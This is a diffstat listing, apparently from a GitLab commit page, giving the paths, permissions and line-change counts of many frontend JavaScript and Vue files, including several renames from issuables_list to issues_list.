-rw-r--r--app/assets/javascripts/ide/stores/modules/commit/state.js1
-rw-r--r--app/assets/javascripts/ide/stores/modules/pane/getters.js1
-rw-r--r--app/assets/javascripts/ide/stores/modules/pipelines/actions.js22
-rw-r--r--app/assets/javascripts/ide/stores/modules/pipelines/constants.js1
-rw-r--r--app/assets/javascripts/ide/stores/modules/pipelines/mutation_types.js6
-rw-r--r--app/assets/javascripts/ide/stores/modules/pipelines/mutations.js6
-rw-r--r--app/assets/javascripts/ide/stores/modules/pipelines/utils.js1
-rw-r--r--app/assets/javascripts/ide/stores/modules/router/actions.js1
-rw-r--r--app/assets/javascripts/ide/stores/modules/router/mutation_types.js1
-rw-r--r--app/assets/javascripts/ide/stores/modules/terminal/getters.js1
-rw-r--r--app/assets/javascripts/ide/stores/mutations.js19
-rw-r--r--app/assets/javascripts/ide/stores/utils.js17
-rw-r--r--app/assets/javascripts/ide/sync_router_and_store.js1
-rw-r--r--app/assets/javascripts/ide/utils.js31
-rw-r--r--app/assets/javascripts/import_projects/components/import_projects_table.vue185
-rw-r--r--app/assets/javascripts/import_projects/components/imported_project_table_row.vue59
-rw-r--r--app/assets/javascripts/import_projects/components/incompatible_repo_table_row.vue32
-rw-r--r--app/assets/javascripts/import_projects/components/page_query_param_sync.vue39
-rw-r--r--app/assets/javascripts/import_projects/components/provider_repo_table_row.vue48
-rw-r--r--app/assets/javascripts/import_projects/store/actions.js39
-rw-r--r--app/assets/javascripts/import_projects/store/getters.js13
-rw-r--r--app/assets/javascripts/import_projects/store/mutations.js116
-rw-r--r--app/assets/javascripts/import_projects/store/state.js2
-rw-r--r--app/assets/javascripts/import_projects/utils.js12
-rw-r--r--app/assets/javascripts/incidents/components/incidents_list.vue67
-rw-r--r--app/assets/javascripts/incidents/constants.js3
-rw-r--r--app/assets/javascripts/incidents/graphql/fragments/incident_fields.fragment.graphql3
-rw-r--r--app/assets/javascripts/incidents/graphql/queries/get_incidents.query.graphql4
-rw-r--r--app/assets/javascripts/incidents_settings/components/alerts_form.vue23
-rw-r--r--app/assets/javascripts/incidents_settings/constants.js3
-rw-r--r--app/assets/javascripts/incidents_settings/index.js2
-rw-r--r--app/assets/javascripts/init_changes_dropdown.js3
-rw-r--r--app/assets/javascripts/init_issuable_sidebar.js4
-rw-r--r--app/assets/javascripts/integrations/edit/components/active_checkbox.vue48
-rw-r--r--app/assets/javascripts/integrations/edit/components/active_toggle.vue50
-rw-r--r--app/assets/javascripts/integrations/edit/components/dynamic_field.vue1
-rw-r--r--app/assets/javascripts/integrations/edit/components/integration_form.vue59
-rw-r--r--app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue7
-rw-r--r--app/assets/javascripts/integrations/edit/components/override_dropdown.vue39
-rw-r--r--app/assets/javascripts/integrations/edit/constants.js17
-rw-r--r--app/assets/javascripts/integrations/edit/index.js26
-rw-r--r--app/assets/javascripts/integrations/edit/store/actions.js3
-rw-r--r--app/assets/javascripts/integrations/edit/store/getters.js6
-rw-r--r--app/assets/javascripts/integrations/edit/store/index.js1
-rw-r--r--app/assets/javascripts/integrations/edit/store/mutation_types.js3
-rw-r--r--app/assets/javascripts/integrations/edit/store/mutations.js6
-rw-r--r--app/assets/javascripts/integrations/edit/store/state.js8
-rw-r--r--app/assets/javascripts/integrations/integration_settings_form.js116
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar.js2
-rw-r--r--app/assets/javascripts/issuable_create/components/issuable_create_root.vue44
-rw-r--r--app/assets/javascripts/issuable_create/components/issuable_form.vue127
-rw-r--r--app/assets/javascripts/issuable_form.js1
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_item.vue140
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_list_root.vue153
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_tabs.vue53
-rw-r--r--app/assets/javascripts/issuable_suggestions/components/app.vue7
-rw-r--r--app/assets/javascripts/issuable_suggestions/components/item.vue11
-rw-r--r--app/assets/javascripts/issuables_list/components/issuable.vue424
-rw-r--r--app/assets/javascripts/issuables_list/components/issuable_list_root_app.vue112
-rw-r--r--app/assets/javascripts/issuables_list/components/issuables_list_app.vue424
-rw-r--r--app/assets/javascripts/issuables_list/index.js67
-rw-r--r--app/assets/javascripts/issuables_list/service_desk_helper.js55
-rw-r--r--app/assets/javascripts/issue.js21
-rw-r--r--app/assets/javascripts/issue_show/components/app.vue25
-rw-r--r--app/assets/javascripts/issue_show/components/description.vue19
-rw-r--r--app/assets/javascripts/issue_show/components/edit_actions.vue35
-rw-r--r--app/assets/javascripts/issue_show/components/fields/description_template.vue21
-rw-r--r--app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql20
-rw-r--r--app/assets/javascripts/issue_show/components/incidents/highlight_bar.vue42
-rw-r--r--app/assets/javascripts/issue_show/components/incidents/incident_tabs.vue71
-rw-r--r--app/assets/javascripts/issue_show/components/locked_warning.vue1
-rw-r--r--app/assets/javascripts/issue_show/components/pinned_links.vue19
-rw-r--r--app/assets/javascripts/issue_show/components/title.vue30
-rw-r--r--app/assets/javascripts/issue_show/incident.js36
-rw-r--r--app/assets/javascripts/issue_show/index.js17
-rw-r--r--app/assets/javascripts/issue_show/issue.js16
-rw-r--r--app/assets/javascripts/issue_show/stores/index.js5
-rw-r--r--app/assets/javascripts/issue_show/utils/parse_data.js14
-rw-r--r--app/assets/javascripts/issue_status_select.js3
-rw-r--r--app/assets/javascripts/issues_list/components/issuable.vue432
-rw-r--r--app/assets/javascripts/issues_list/components/issuables_list_app.vue424
-rw-r--r--app/assets/javascripts/issues_list/components/jira_issues_list_root.vue112
-rw-r--r--app/assets/javascripts/issues_list/constants.js (renamed from app/assets/javascripts/issuables_list/constants.js)0
-rw-r--r--app/assets/javascripts/issues_list/eventhub.js (renamed from app/assets/javascripts/issuables_list/eventhub.js)0
-rw-r--r--app/assets/javascripts/issues_list/index.js67
-rw-r--r--app/assets/javascripts/issues_list/queries/get_issues_list_details.query.graphql (renamed from app/assets/javascripts/issuables_list/queries/get_issues_list_details.query.graphql)0
-rw-r--r--app/assets/javascripts/issues_list/service_desk_helper.js111
-rw-r--r--app/assets/javascripts/jira_connect.js56
-rw-r--r--app/assets/javascripts/jira_import/components/jira_import_form.vue26
-rw-r--r--app/assets/javascripts/jira_import/utils/jira_import_utils.js2
-rw-r--r--app/assets/javascripts/jobs/components/artifacts_block.vue16
-rw-r--r--app/assets/javascripts/jobs/components/job_app.vue14
-rw-r--r--app/assets/javascripts/jobs/components/job_container_item.vue9
-rw-r--r--app/assets/javascripts/jobs/components/job_log_controllers.vue34
-rw-r--r--app/assets/javascripts/jobs/components/log/line.vue2
-rw-r--r--app/assets/javascripts/jobs/components/log/line_header.vue8
-rw-r--r--app/assets/javascripts/jobs/components/manual_variables_form.vue26
-rw-r--r--app/assets/javascripts/jobs/components/sidebar.vue22
-rw-r--r--app/assets/javascripts/jobs/components/sidebar_detail_row.vue5
-rw-r--r--app/assets/javascripts/jobs/index.js2
-rw-r--r--app/assets/javascripts/labels_select.js9
-rw-r--r--app/assets/javascripts/layout_nav.js13
-rw-r--r--app/assets/javascripts/lib/graphql.js33
-rw-r--r--app/assets/javascripts/lib/utils/axios_startup_calls.js73
-rw-r--r--app/assets/javascripts/lib/utils/datetime_utility.js38
-rw-r--r--app/assets/javascripts/lib/utils/forms.js37
-rw-r--r--app/assets/javascripts/lib/utils/image_utility.js2
-rw-r--r--app/assets/javascripts/lib/utils/jquery_at_who.js3
-rw-r--r--app/assets/javascripts/lib/utils/poll.js6
-rw-r--r--app/assets/javascripts/lib/utils/set.js1
-rw-r--r--app/assets/javascripts/lib/utils/simple_poll.js4
-rw-r--r--app/assets/javascripts/lib/utils/text_markdown.js77
-rw-r--r--app/assets/javascripts/lib/utils/text_utility.js75
-rw-r--r--app/assets/javascripts/lib/utils/type_utility.js1
-rw-r--r--app/assets/javascripts/lib/utils/url_utility.js27
-rw-r--r--app/assets/javascripts/lib/utils/webpack.js1
-rw-r--r--app/assets/javascripts/line_highlighter.js1
-rw-r--r--app/assets/javascripts/logs/stores/getters.js14
-rw-r--r--app/assets/javascripts/main.js31
-rw-r--r--app/assets/javascripts/members.js3
-rw-r--r--app/assets/javascripts/merge_request.js8
-rw-r--r--app/assets/javascripts/merge_request_tabs.js1
-rw-r--r--app/assets/javascripts/milestone_select.js162
-rw-r--r--app/assets/javascripts/milestones/project_milestone_combobox.vue76
-rw-r--r--app/assets/javascripts/monitoring/components/alert_widget.vue2
-rw-r--r--app/assets/javascripts/monitoring/components/alert_widget_form.vue10
-rw-r--r--app/assets/javascripts/monitoring/components/charts/empty_chart.vue1
-rw-r--r--app/assets/javascripts/monitoring/components/charts/time_series.vue7
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard.vue7
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue50
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard_header.vue30
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard_panel.vue6
-rw-r--r--app/assets/javascripts/monitoring/components/dashboards_dropdown.vue48
-rw-r--r--app/assets/javascripts/monitoring/components/embeds/embed_group.vue11
-rw-r--r--app/assets/javascripts/monitoring/components/group_empty_state.vue1
-rw-r--r--app/assets/javascripts/monitoring/components/refresh_button.vue26
-rw-r--r--app/assets/javascripts/monitoring/components/variables_section.vue7
-rw-r--r--app/assets/javascripts/monitoring/csv_export.js1
-rw-r--r--app/assets/javascripts/monitoring/stores/embed_group/actions.js1
-rw-r--r--app/assets/javascripts/monitoring/stores/embed_group/getters.js1
-rw-r--r--app/assets/javascripts/monitoring/stores/embed_group/mutation_types.js1
-rw-r--r--app/assets/javascripts/mr_popover/components/mr_popover.vue2
-rw-r--r--app/assets/javascripts/namespace_select.js4
-rw-r--r--app/assets/javascripts/notebook/cells/markdown.vue1
-rw-r--r--app/assets/javascripts/notebook/cells/output/html.vue1
-rw-r--r--app/assets/javascripts/notes.js5
-rw-r--r--app/assets/javascripts/notes/components/comment_form.vue51
-rw-r--r--app/assets/javascripts/notes/components/diff_discussion_header.vue1
-rw-r--r--app/assets/javascripts/notes/components/diff_with_note.vue3
-rw-r--r--app/assets/javascripts/notes/components/discussion_counter.vue13
-rw-r--r--app/assets/javascripts/notes/components/discussion_filter.vue6
-rw-r--r--app/assets/javascripts/notes/components/discussion_filter_note.vue8
-rw-r--r--app/assets/javascripts/notes/components/discussion_jump_to_next_button.vue7
-rw-r--r--app/assets/javascripts/notes/components/discussion_locked_widget.vue7
-rw-r--r--app/assets/javascripts/notes/components/discussion_resolve_button.vue9
-rw-r--r--app/assets/javascripts/notes/components/note_actions.vue80
-rw-r--r--app/assets/javascripts/notes/components/note_actions/reply_button.vue18
-rw-r--r--app/assets/javascripts/notes/components/note_body.vue1
-rw-r--r--app/assets/javascripts/notes/components/note_form.vue3
-rw-r--r--app/assets/javascripts/notes/components/note_header.vue13
-rw-r--r--app/assets/javascripts/notes/components/note_signed_out_widget.vue6
-rw-r--r--app/assets/javascripts/notes/components/noteable_discussion.vue5
-rw-r--r--app/assets/javascripts/notes/components/noteable_note.vue14
-rw-r--r--app/assets/javascripts/notes/components/toggle_replies_widget.vue8
-rw-r--r--app/assets/javascripts/notes/constants.js2
-rw-r--r--app/assets/javascripts/notes/stores/actions.js22
-rw-r--r--app/assets/javascripts/notes/stores/modules/index.js1
-rw-r--r--app/assets/javascripts/notes/stores/mutation_types.js1
-rw-r--r--app/assets/javascripts/notes/stores/mutations.js3
-rw-r--r--app/assets/javascripts/packages/details/components/additional_metadata.vue2
-rw-r--r--app/assets/javascripts/packages/details/components/app.vue63
-rw-r--r--app/assets/javascripts/packages/details/components/code_instruction.vue63
-rw-r--r--app/assets/javascripts/packages/details/components/composer_installation.vue18
-rw-r--r--app/assets/javascripts/packages/details/components/conan_installation.vue16
-rw-r--r--app/assets/javascripts/packages/details/components/dependency_row.vue2
-rw-r--r--app/assets/javascripts/packages/details/components/history_element.vue35
-rw-r--r--app/assets/javascripts/packages/details/components/maven_installation.vue17
-rw-r--r--app/assets/javascripts/packages/details/components/npm_installation.vue17
-rw-r--r--app/assets/javascripts/packages/details/components/nuget_installation.vue15
-rw-r--r--app/assets/javascripts/packages/details/components/package_history.vue24
-rw-r--r--app/assets/javascripts/packages/details/components/package_title.vue112
-rw-r--r--app/assets/javascripts/packages/details/components/pypi_installation.vue12
-rw-r--r--app/assets/javascripts/packages/details/store/actions.js13
-rw-r--r--app/assets/javascripts/packages/details/store/getters.js4
-rw-r--r--app/assets/javascripts/packages/details/store/index.js6
-rw-r--r--app/assets/javascripts/packages/list/components/packages_list.vue6
-rw-r--r--app/assets/javascripts/packages/list/components/packages_list_app.vue20
-rw-r--r--app/assets/javascripts/packages/list/constants.js1
-rw-r--r--app/assets/javascripts/packages/list/stores/actions.js2
-rw-r--r--app/assets/javascripts/packages/shared/components/package_list_row.vue54
-rw-r--r--app/assets/javascripts/packages/shared/components/package_tags.vue6
-rw-r--r--app/assets/javascripts/packages/shared/components/packages_list_loader.vue58
-rw-r--r--app/assets/javascripts/packages/shared/components/publish_method.vue22
-rw-r--r--app/assets/javascripts/packages/shared/constants.js5
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/metrics_and_profiling/index.js2
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/payload_previewer.js4
-rw-r--r--app/assets/javascripts/pages/admin/clusters/new/index.js5
-rw-r--r--app/assets/javascripts/pages/admin/cohorts/index.js22
-rw-r--r--app/assets/javascripts/pages/admin/dev_ops_report/index.js27
-rw-r--r--app/assets/javascripts/pages/admin/projects/index/components/delete_project_modal.vue69
-rw-r--r--app/assets/javascripts/pages/admin/projects/index/index.js21
-rw-r--r--app/assets/javascripts/pages/admin/services/index/index.js6
-rw-r--r--app/assets/javascripts/pages/admin/users/components/delete_user_modal.vue46
-rw-r--r--app/assets/javascripts/pages/admin/users/components/user_operation_confirmation_modal.vue1
-rw-r--r--app/assets/javascripts/pages/constants.js2
-rw-r--r--app/assets/javascripts/pages/dashboard/projects/index/components/customize_homepage_banner.vue36
-rw-r--r--app/assets/javascripts/pages/dashboard/todos/index/todos.js4
-rw-r--r--app/assets/javascripts/pages/groups/clusters/new/index.js5
-rw-r--r--app/assets/javascripts/pages/groups/group_members/index.js6
-rw-r--r--app/assets/javascripts/pages/groups/issues/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/shared/group_details.js2
-rw-r--r--app/assets/javascripts/pages/instance_statistics/dev_ops_score/index.js3
-rw-r--r--app/assets/javascripts/pages/milestones/shared/components/delete_milestone_modal.vue6
-rw-r--r--app/assets/javascripts/pages/projects/blob/show/index.js31
-rw-r--r--app/assets/javascripts/pages/projects/branches/index/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/ci/lints/ci_lint_editor.js47
-rw-r--r--app/assets/javascripts/pages/projects/ci/lints/new/index.js10
-rw-r--r--app/assets/javascripts/pages/projects/clusters/new/index.js5
-rw-r--r--app/assets/javascripts/pages/projects/commit/show/index.js30
-rw-r--r--app/assets/javascripts/pages/projects/constants.js2
-rw-r--r--app/assets/javascripts/pages/projects/environments/show/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/components/fork_groups_list_item.vue4
-rw-r--r--app/assets/javascripts/pages/projects/graphs/charts/index.js269
-rw-r--r--app/assets/javascripts/pages/projects/integrations/jira/issues/index/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/issues/index/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/issues/service_desk/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/issues/show.js22
-rw-r--r--app/assets/javascripts/pages/projects/issues/show/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/creations/new/target_project_dropdown.js5
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js2
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/pipeline_schedules_callout.vue7
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/target_branch_dropdown.js3
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/timezone_dropdown.js4
-rw-r--r--app/assets/javascripts/pages/projects/project.js86
-rw-r--r--app/assets/javascripts/pages/projects/shared/permissions/components/project_setting_row.vue7
-rw-r--r--app/assets/javascripts/pages/search/show/index.js6
-rw-r--r--app/assets/javascripts/pages/search/show/search.js6
-rw-r--r--app/assets/javascripts/pages/shared/wikis/components/delete_wiki_modal.vue11
-rw-r--r--app/assets/javascripts/pdf/page/index.vue10
-rw-r--r--app/assets/javascripts/performance_bar/components/detailed_metric.vue6
-rw-r--r--app/assets/javascripts/performance_bar/components/performance_bar_app.vue1
-rw-r--r--app/assets/javascripts/performance_bar/components/request_selector.vue1
-rw-r--r--app/assets/javascripts/performance_bar/components/request_warning.vue1
-rw-r--r--app/assets/javascripts/performance_bar/index.js30
-rw-r--r--app/assets/javascripts/performance_bar/performance_bar_log.js28
-rw-r--r--app/assets/javascripts/performance_bar/services/performance_bar_service.js18
-rw-r--r--app/assets/javascripts/performance_bar/stores/performance_bar_store.js5
-rw-r--r--app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue91
-rw-r--r--app/assets/javascripts/pipeline_new/index.js2
-rw-r--r--app/assets/javascripts/pipelines/components/graph/action_component.vue7
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_component.vue19
-rw-r--r--app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue4
-rw-r--r--app/assets/javascripts/pipelines/components/graph/job_item.vue18
-rw-r--r--app/assets/javascripts/pipelines/components/graph/job_name_component.vue4
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue65
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue4
-rw-r--r--app/assets/javascripts/pipelines/components/graph/stage_column_component.vue6
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/gitlab_ci_yaml_visualization.vue76
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue24
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue57
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/stage_pill.vue35
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/nav_controls.vue22
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stop_modal.vue1
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue8
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_actions.vue32
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_artifacts.vue7
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table_row.vue29
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/stage.vue7
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue13
-rw-r--r--app/assets/javascripts/pipelines/components/test_reports/test_reports.vue7
-rw-r--r--app/assets/javascripts/pipelines/components/test_reports/test_suite_table.vue99
-rw-r--r--app/assets/javascripts/pipelines/components/test_reports/test_summary.vue19
-rw-r--r--app/assets/javascripts/pipelines/components/test_reports/test_summary_table.vue122
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_bundle.js22
-rw-r--r--app/assets/javascripts/pipelines/stores/test_reports/getters.js4
-rw-r--r--app/assets/javascripts/pipelines/stores/test_reports/utils.js26
-rw-r--r--app/assets/javascripts/pipelines/utils.js44
-rw-r--r--app/assets/javascripts/profile/account/components/delete_account_modal.vue95
-rw-r--r--app/assets/javascripts/profile/account/components/update_username.vue1
-rw-r--r--app/assets/javascripts/profile/account/index.js3
-rw-r--r--app/assets/javascripts/project_select.js11
-rw-r--r--app/assets/javascripts/projects/commits/components/author_select.vue38
-rw-r--r--app/assets/javascripts/projects/components/project_delete_button.vue4
-rw-r--r--app/assets/javascripts/projects/components/shared/delete_button.vue2
-rw-r--r--app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue1
-rw-r--r--app/assets/javascripts/projects/experiment_new_project_creation/components/welcome.vue1
-rw-r--r--app/assets/javascripts/projects/project_new.js9
-rw-r--r--app/assets/javascripts/projects/settings/access_dropdown.js3
-rw-r--r--app/assets/javascripts/projects/settings_service_desk/components/service_desk_root.vue5
-rw-r--r--app/assets/javascripts/projects/settings_service_desk/components/service_desk_setting.vue18
-rw-r--r--app/assets/javascripts/prometheus_alerts/components/reset_key.vue1
-rw-r--r--app/assets/javascripts/protected_tags/protected_tag_access_dropdown.js3
-rw-r--r--app/assets/javascripts/protected_tags/protected_tag_create.js2
-rw-r--r--app/assets/javascripts/ref/components/ref_results_section.vue14
-rw-r--r--app/assets/javascripts/ref/components/ref_selector.vue44
-rw-r--r--app/assets/javascripts/ref_select_dropdown.js4
-rw-r--r--app/assets/javascripts/registry/explorer/components/delete_button.vue1
-rw-r--r--app/assets/javascripts/registry/explorer/components/details_page/details_header.vue11
-rw-r--r--app/assets/javascripts/registry/explorer/components/details_page/tags_list.vue1
-rw-r--r--app/assets/javascripts/registry/explorer/components/details_page/tags_list_row.vue4
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_item.vue128
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/cli_commands.vue102
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/image_list.vue1
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/image_list_row.vue2
-rw-r--r--app/assets/javascripts/registry/explorer/components/list_page/registry_header.vue66
-rw-r--r--app/assets/javascripts/registry/explorer/components/registry_breadcrumb.vue6
-rw-r--r--app/assets/javascripts/registry/explorer/stores/index.js1
-rw-r--r--app/assets/javascripts/registry/explorer/utils.js1
-rw-r--r--app/assets/javascripts/registry/settings/components/settings_form.vue13
-rw-r--r--app/assets/javascripts/related_issues/components/add_issuable_form.vue207
-rw-r--r--app/assets/javascripts/related_issues/components/issue_token.vue115
-rw-r--r--app/assets/javascripts/related_issues/components/related_issuable_input.vue231
-rw-r--r--app/assets/javascripts/related_issues/components/related_issues_block.vue215
-rw-r--r--app/assets/javascripts/related_issues/components/related_issues_list.vue146
-rw-r--r--app/assets/javascripts/related_issues/components/related_issues_root.vue247
-rw-r--r--app/assets/javascripts/related_issues/constants.js106
-rw-r--r--app/assets/javascripts/related_issues/index.js27
-rw-r--r--app/assets/javascripts/related_issues/services/related_issues_service.js34
-rw-r--r--app/assets/javascripts/related_issues/stores/related_issues_store.js50
-rw-r--r--app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue7
-rw-r--r--app/assets/javascripts/releases/components/app_edit_new.vue3
-rw-r--r--app/assets/javascripts/releases/components/app_index.vue39
-rw-r--r--app/assets/javascripts/releases/components/app_show.vue2
-rw-r--r--app/assets/javascripts/releases/components/evidence_block.vue4
-rw-r--r--app/assets/javascripts/releases/components/release_block.vue1
-rw-r--r--app/assets/javascripts/releases/components/release_block_assets.vue8
-rw-r--r--app/assets/javascripts/releases/components/release_block_footer.vue9
-rw-r--r--app/assets/javascripts/releases/components/release_block_header.vue9
-rw-r--r--app/assets/javascripts/releases/components/release_block_metadata.vue9
-rw-r--r--app/assets/javascripts/releases/components/release_block_milestones.vue7
-rw-r--r--app/assets/javascripts/releases/components/releases_pagination.vue20
-rw-r--r--app/assets/javascripts/releases/components/releases_pagination_graphql.vue35
-rw-r--r--app/assets/javascripts/releases/components/releases_pagination_rest.vue24
-rw-r--r--app/assets/javascripts/releases/mount_edit.js3
-rw-r--r--app/assets/javascripts/releases/mount_index.js17
-rw-r--r--app/assets/javascripts/releases/mount_new.js3
-rw-r--r--app/assets/javascripts/releases/mount_show.js3
-rw-r--r--app/assets/javascripts/releases/queries/all_releases.query.graphql69
-rw-r--r--app/assets/javascripts/releases/stores/index.js3
-rw-r--r--app/assets/javascripts/releases/stores/modules/list/actions.js30
-rw-r--r--app/assets/javascripts/releases/stores/modules/list/index.js8
-rw-r--r--app/assets/javascripts/releases/stores/modules/list/state.js14
-rw-r--r--app/assets/javascripts/releases/util.js89
-rw-r--r--app/assets/javascripts/reports/accessibility_report/store/index.js15
-rw-r--r--app/assets/javascripts/reports/codequality_report/store/index.js15
-rw-r--r--app/assets/javascripts/reports/components/issue_status_icon.vue6
-rw-r--r--app/assets/javascripts/reports/store/getters.js1
-rw-r--r--app/assets/javascripts/reports/store/index.js15
-rw-r--r--app/assets/javascripts/repository/components/breadcrumbs.vue8
-rw-r--r--app/assets/javascripts/repository/components/last_commit.vue8
-rw-r--r--app/assets/javascripts/repository/components/preview/index.vue1
-rw-r--r--app/assets/javascripts/repository/components/table/index.vue26
-rw-r--r--app/assets/javascripts/repository/components/table/row.vue3
-rw-r--r--app/assets/javascripts/repository/components/tree_content.vue19
-rw-r--r--app/assets/javascripts/repository/components/web_ide_link.vue47
-rw-r--r--app/assets/javascripts/repository/graphql.js1
-rw-r--r--app/assets/javascripts/repository/index.js28
-rw-r--r--app/assets/javascripts/repository/log_tree.js13
-rw-r--r--app/assets/javascripts/repository/router.js3
-rw-r--r--app/assets/javascripts/repository/utils/commit.js1
-rw-r--r--app/assets/javascripts/repository/utils/icon.js1
-rw-r--r--app/assets/javascripts/repository/utils/readme.js1
-rw-r--r--app/assets/javascripts/search/state_filter/components/state_filter.vue94
-rw-r--r--app/assets/javascripts/search/state_filter/constants.js39
-rw-r--r--app/assets/javascripts/search/state_filter/index.js34
-rw-r--r--app/assets/javascripts/search_autocomplete.js12
-rw-r--r--app/assets/javascripts/self_monitor/components/self_monitor_form.vue1
-rw-r--r--app/assets/javascripts/serverless/components/functions.vue1
-rw-r--r--app/assets/javascripts/set_status_modal/event_hub.js3
-rw-r--r--app/assets/javascripts/set_status_modal/set_status_modal_trigger.vue27
-rw-r--r--app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue20
-rw-r--r--app/assets/javascripts/shared/milestones/form.js1
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/assignee_avatar_link.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/collapsed_assignee_list.vue5
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue37
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/confidential/confidential_issue_sidebar.vue18
-rw-r--r--app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue97
-rw-r--r--app/assets/javascripts/sidebar/components/lock/issuable_lock_form.vue8
-rw-r--r--app/assets/javascripts/sidebar/components/participants/participants.vue5
-rw-r--r--app/assets/javascripts/sidebar/components/severity/constants.js41
-rw-r--r--app/assets/javascripts/sidebar/components/severity/graphql/mutations/update_issuable_severity.mutation.graphql9
-rw-r--r--app/assets/javascripts/sidebar/components/severity/severity.vue42
-rw-r--r--app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue187
-rw-r--r--app/assets/javascripts/sidebar/components/subscriptions/subscriptions.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/collapsed_state.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/help_state.vue1
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/spent_only_pane.vue1
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/todo_toggle/todo.vue8
-rw-r--r--app/assets/javascripts/sidebar/event_hub.js4
-rw-r--r--app/assets/javascripts/sidebar/lib/sidebar_move_issue.js4
-rw-r--r--app/assets/javascripts/sidebar/mount_sidebar.js61
-rw-r--r--app/assets/javascripts/sidebar/queries/sidebarDetailsForHealthStatusFeatureFlag.query.graphql7
-rw-r--r--app/assets/javascripts/sidebar/services/sidebar_service.js7
-rw-r--r--app/assets/javascripts/snippet/snippet_edit.js1
-rw-r--r--app/assets/javascripts/snippet/snippet_show.js2
-rw-r--r--app/assets/javascripts/snippets/components/edit.vue36
-rw-r--r--app/assets/javascripts/snippets/components/embed_dropdown.vue78
-rw-r--r--app/assets/javascripts/snippets/components/show.vue12
-rw-r--r--app/assets/javascripts/snippets/components/snippet_blob_edit.vue7
-rw-r--r--app/assets/javascripts/snippets/components/snippet_description_view.vue1
-rw-r--r--app/assets/javascripts/snippets/components/snippet_header.vue7
-rw-r--r--app/assets/javascripts/snippets/components/snippet_visibility_edit.vue50
-rw-r--r--app/assets/javascripts/snippets/constants.js12
-rw-r--r--app/assets/javascripts/snippets/index.js18
-rw-r--r--app/assets/javascripts/snippets/mixins/snippets.js1
-rw-r--r--app/assets/javascripts/snippets/queries/snippet_visibility.query.graphql5
-rw-r--r--app/assets/javascripts/snippets/utils/blob.js15
-rw-r--r--app/assets/javascripts/static_site_editor/components/edit_area.vue43
-rw-r--r--app/assets/javascripts/static_site_editor/components/edit_drawer.vue32
-rw-r--r--app/assets/javascripts/static_site_editor/components/front_matter_controls.vue57
-rw-r--r--app/assets/javascripts/static_site_editor/components/publish_toolbar.vue16
-rw-r--r--app/assets/javascripts/static_site_editor/services/formatter.js44
-rw-r--r--app/assets/javascripts/static_site_editor/services/image_service.js1
-rw-r--r--app/assets/javascripts/static_site_editor/services/parse_source_file.js66
-rw-r--r--app/assets/javascripts/subscription_select.js3
-rw-r--r--app/assets/javascripts/templates/issuable_template_selector.js4
-rw-r--r--app/assets/javascripts/tooltips/components/tooltips.vue116
-rw-r--r--app/assets/javascripts/tooltips/index.js120
-rw-r--r--app/assets/javascripts/tracking.js12
-rw-r--r--app/assets/javascripts/ui_development_kit.js3
-rw-r--r--app/assets/javascripts/users_select/index.js197
